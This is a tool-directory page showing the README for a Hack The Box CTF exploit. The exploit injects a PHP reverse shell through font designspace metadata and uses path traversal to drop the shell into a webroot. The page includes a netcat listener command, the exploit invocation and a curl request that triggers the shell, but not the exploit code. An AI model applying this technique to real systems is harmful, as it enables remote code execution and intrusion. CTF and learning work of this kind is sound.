Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-66034-htb-ctf | Kitploit
Tools/GitHubGitHub/jwsly12/cve-2025-66034-htb-ctf
Payload GenerationExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubjwsly12/cve-2025-66034-htb-ctf

CVE-2025-66034-htb-ctf

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-66034-htb-ctf

VariaType Variable Font Generator Exploit

This repository contains a specialized exploit for the VariaType machine on Hack The Box. The exploit leverages a vulnerability in how the fontTools library or the web application handles .designspace XML files and metadata interpolation to achieve Remote Code Execution (RCE).

📝 Description

The vulnerability exists in the font generation process. By crafting a malicious designspace file, we can inject a PHP reverse shell payload into the font's metadata (specifically the <labelname> field). When the server processes these files to generate a variable font, it writes the output to a user-defined path, allowing us to drop a .php shell in the webroot.

🛠️ Features

  • Automated Font Generation: Creates valid source-light.ttf and source-regular.ttf master fonts using fontTools.
  • XML Injection: Generates a malicious designspace file with a CDATA-wrapped PHP payload.
  • Path Traversal/Arbitrary File Write: Attempts to save the resulting "font" as a .php file in the public directory.
  • Randomization: Generates unique shell names to avoid conflicts.

🚀 Requirements

You must have Python 3 installed along with the following libraries:

root@kitploit:~
pip install fontTools requests

💻 Usage

1. Start your listener

On your local machine (or Pwnbox), start a Netcat listener:

root@kitploit:~
nc -lvnp 4444

2. Run the exploit

Execute the script by providing your HTB VPN IP and the listener port:

root@kitploit:~
python3 exploit.py --ip <YOUR_IP> --port 4444

3. Trigger the shell

If the upload returns a 200 OK (or sometimes even a 500 if the processing happens before the error), the script will provide the filename. Access it via curl or your browser:

root@kitploit:~
curl http://portal.variatype.htb/shell_xxxxxx.php

⚙️ Arguments

⚠️ Disclaimer

This script is intended for educational purposes and authorized penetration testing only. Accessing or attacking targets without prior authorization is illegal.


How to use this README:

  1. Save the content above as README.md in the same folder as your script.
  2. Ensure your script is named exploit.py or update the filename in the commands above.
Download Tool
ArgumentDescriptionDefault
--ipYour listener IP (VPN)Required
--portYour listener portRequired
--pathTarget path for the shell/var/www/portal.variatype.htb/public
--urlThe upload endpointhttp://variatype.htb/tools/.../process